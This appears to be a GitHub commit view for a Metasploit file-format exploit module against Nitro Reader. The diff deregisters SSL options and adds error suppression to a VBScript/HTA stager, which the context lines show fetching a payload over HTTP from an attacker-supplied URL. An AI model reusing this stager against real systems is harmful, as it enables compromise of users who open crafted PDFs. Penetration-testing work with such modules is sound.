Skip to content

Commit b099196

Browse files
committed
deregistered SSL, added the HTA dodgy try/catch feature
1 parent 17b2838 commit b099196

File tree

1 file changed

+2
-0
lines changed

1 file changed

+2
-0
lines changed

modules/exploits/windows/fileformat/nitro_reader_jsapi.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -51,6 +51,7 @@ def initialize(info={})
5151
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
5252
OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
5353
])
54+
deregister_options('SSL', 'SSLVersion', 'SSLCert')
5455
end
5556

5657
def build_vbs(url, stager_name)
@@ -79,6 +80,7 @@ def build_vbs(url, stager_name)
7980
</script>
8081
<script type="text/javascript">setTimeout("window.close()", 5000);</script>
8182
<script language="VBScript">
83+
On Error Resume Next
8284
Set #{name_xmlhttp} = CreateObject("Microsoft.XMLHTTP")
8385
#{name_xmlhttp}.open "GET","http://#{url}",False
8486
#{name_xmlhttp}.send

0 commit comments

Comments
 (0)